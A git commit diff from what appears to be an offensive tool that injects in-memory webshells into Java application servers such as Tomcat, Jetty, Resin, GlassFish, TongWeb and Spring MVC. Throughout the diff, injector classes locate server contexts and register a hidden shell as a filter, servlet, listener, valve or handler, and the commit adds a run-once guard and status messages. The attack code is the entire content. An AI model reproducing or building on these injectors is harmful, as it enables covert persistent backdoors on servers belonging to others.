perf: run only once

This commit is contained in:
ReaJason
2025-12-08 01:43:41 +08:00
parent 962264f13e
commit fc3961a6bf
38 changed files with 374 additions and 109 deletions
@@ -7,7 +7,9 @@ import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -17,6 +19,7 @@ import java.util.zip.GZIPInputStream;
public class ApusicFilterInjector { public class ApusicFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -31,16 +34,21 @@ public class ApusicFilterInjector {
} }
public ApusicFilterInjector() { public ApusicFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +57,7 @@ public class ApusicFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
public class ApusicListenerInjector { public class ApusicListenerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,24 +31,30 @@ public class ApusicListenerInjector {
} }
public ApusicListenerInjector() { public ApusicListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) { } catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
public class ApusicServletInjector { public class ApusicServletInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class ApusicServletInjector {
} }
public ApusicServletInjector() { public ApusicServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class ApusicServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesFilterInjector { public class BesFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class BesFilterInjector {
} }
public BesFilterInjector() { public BesFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class BesFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
public class BesListenerInjector { public class BesListenerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -26,16 +27,21 @@ public class BesListenerInjector {
} }
public BesListenerInjector() { public BesListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class BesListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
public class BesValveInjector { public class BesValveInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,16 +26,21 @@ public class BesValveInjector {
} }
public BesValveInjector() { public BesValveInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class BesValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
public class GlassFishFilterInjector { public class GlassFishFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class GlassFishFilterInjector {
} }
public GlassFishFilterInjector() { public GlassFishFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class GlassFishFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
public class GlassFishValveInjector { public class GlassFishValveInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -26,16 +27,21 @@ public class GlassFishValveInjector {
public GlassFishValveInjector() { public GlassFishValveInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class GlassFishValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
public class InforSuiteFilterInjector { public class InforSuiteFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -31,16 +32,21 @@ public class InforSuiteFilterInjector {
} }
public InforSuiteFilterInjector() { public InforSuiteFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +55,7 @@ public class InforSuiteFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
public class JettyCustomizerInjector { public class JettyCustomizerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -28,6 +29,9 @@ public class JettyCustomizerInjector {
} }
public JettyCustomizerInjector() { public JettyCustomizerInjector() {
if (ok) {
return;
}
Object channel = null; Object channel = null;
try { try {
channel = getChannel(); channel = getChannel();
@@ -35,10 +39,10 @@ public class JettyCustomizerInjector {
msg += "channel error: " + getErrorMessage(throwable); msg += "channel error: " + getErrorMessage(throwable);
} }
if (channel == null) { if (channel == null) {
msg += "channel is null"; msg += "channel not found";
} else { } else {
msg += ("channel: [" + channel + "] ");
try { try {
msg += ("channel: [" + channel + "] ");
Object shell = getShell(channel); Object shell = getShell(channel);
inject(channel, shell); inject(channel, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -46,6 +50,7 @@ public class JettyCustomizerInjector {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream;
public class JettyFilterInjector { public class JettyFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -34,16 +35,21 @@ public class JettyFilterInjector {
} }
public JettyFilterInjector() { public JettyFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -52,6 +58,7 @@ public class JettyFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
public class JettyHandlerInjector { public class JettyHandlerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -28,15 +29,20 @@ public class JettyHandlerInjector {
} }
public JettyHandlerInjector() { public JettyHandlerInjector() {
if (ok) {
return;
}
Object server = null; Object server = null;
try { try {
server = getServer(); server = getServer();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "server error: " + getErrorMessage(throwable); msg += "server error: " + getErrorMessage(throwable);
} }
if (server != null) { if (server == null) {
msg += ("server: [" + server + "] "); msg += "server not found";
} else {
try { try {
msg += ("server: [" + server + "] ");
Object shell = getShell(server); Object shell = getShell(server);
inject(server, shell); inject(server, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class JettyHandlerInjector {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -17,18 +17,24 @@ import java.util.zip.GZIPInputStream;
public class JettyListenerInjector { public class JettyListenerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public JettyListenerInjector() { public JettyListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -37,6 +43,7 @@ public class JettyListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
public class JettyServletInjector { public class JettyServletInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -32,16 +33,21 @@ public class JettyServletInjector {
} }
public JettyServletInjector() { public JettyServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -50,6 +56,7 @@ public class JettyServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
public class ResinFilterInjector { public class ResinFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -29,16 +30,21 @@ public class ResinFilterInjector {
} }
public ResinFilterInjector() { public ResinFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -47,6 +53,7 @@ public class ResinFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
public class ResinListenerInjector { public class ResinListenerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -28,16 +29,21 @@ public class ResinListenerInjector {
} }
public ResinListenerInjector() { public ResinListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -46,6 +52,7 @@ public class ResinListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
public class ResinServletInjector { public class ResinServletInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class ResinServletInjector {
} }
public ResinServletInjector() { public ResinServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += "context: [" + getContextRoot(context) + "] ";
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class ResinServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
public class SpringWebMvcControllerHandlerInjector { public class SpringWebMvcControllerHandlerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -31,20 +32,28 @@ public class SpringWebMvcControllerHandlerInjector {
} }
public SpringWebMvcControllerHandlerInjector() { public SpringWebMvcControllerHandlerInjector() {
if (ok) {
return;
}
Object context = null; Object context = null;
try { try {
context = getContext(); context = getContext();
} catch (Throwable e) { } catch (Throwable e) {
msg += "context error: " + getErrorMessage(e); msg += "context error: " + getErrorMessage(e);
} }
try { if (context == null) {
Object shell = getShell(); msg += "context not found";
msg += "context: [" + context + "] "; } else {
inject(context, shell); try {
msg += "[" + getUrlPattern() + "] ready\n"; Object shell = getShell();
} catch (Throwable e) { msg += "context: [" + context + "] ";
msg += "failed " + getErrorMessage(e) + "\n"; inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
public class SpringWebMvcInterceptorInjector { public class SpringWebMvcInterceptorInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -27,20 +28,28 @@ public class SpringWebMvcInterceptorInjector {
} }
public SpringWebMvcInterceptorInjector() { public SpringWebMvcInterceptorInjector() {
if (ok) {
return;
}
Object context = null; Object context = null;
try { try {
context = getContext(); context = getContext();
} catch (Throwable e) { } catch (Throwable e) {
msg += "context error: " + getErrorMessage(e); msg += "context error: " + getErrorMessage(e);
} }
try { if (context == null) {
Object shell = getShell(); msg += "context not found";
msg += "context: [" + context + "] "; } else {
inject(context, shell); try {
msg += "[/*] ready\n"; Object shell = getShell();
} catch (Throwable e) { msg += "context: [" + context + "] ";
msg += "failed " + getErrorMessage(e) + "\n"; inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -18,18 +18,36 @@ import java.util.zip.GZIPInputStream;
public class TomcatFilterInjector { public class TomcatFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public TomcatFilterInjector() { public TomcatFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -38,6 +56,7 @@ public class TomcatFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -57,19 +76,6 @@ public class TomcatFilterInjector {
} }
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
/** /**
* org.apache.catalina.core.StandardContext * org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar * /usr/local/tomcat/server/lib/catalina.jar
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
public class TomcatListenerInjector { public class TomcatListenerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,24 +26,30 @@ public class TomcatListenerInjector {
} }
public TomcatListenerInjector() { public TomcatListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += " [/*] ready\n"; msg += "[/*] ready\n";
} catch (Throwable e) { } catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -19,18 +19,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private Object rawValve; private Object rawValve;
private Object proxyValve; private Object proxyValve;
private String msg = ""; private String msg = "";
private static boolean ok = false;
public TomcatProxyValveInjector() { public TomcatProxyValveInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -39,6 +45,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
public class TomcatServletInjector { public class TomcatServletInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -32,16 +33,21 @@ public class TomcatServletInjector {
} }
public TomcatServletInjector() { public TomcatServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -50,6 +56,7 @@ public class TomcatServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
public class TomcatValveInjector { public class TomcatValveInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,16 +26,21 @@ public class TomcatValveInjector {
} }
public TomcatValveInjector() { public TomcatValveInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TomcatValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
public class TomcatWebSocketInjector { public class TomcatWebSocketInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -31,16 +32,21 @@ public class TomcatWebSocketInjector {
} }
public TomcatWebSocketInjector() { public TomcatWebSocketInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +55,7 @@ public class TomcatWebSocketInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -19,6 +19,7 @@ import java.util.zip.GZIPInputStream;
public class TongWebFilterInjector { public class TongWebFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
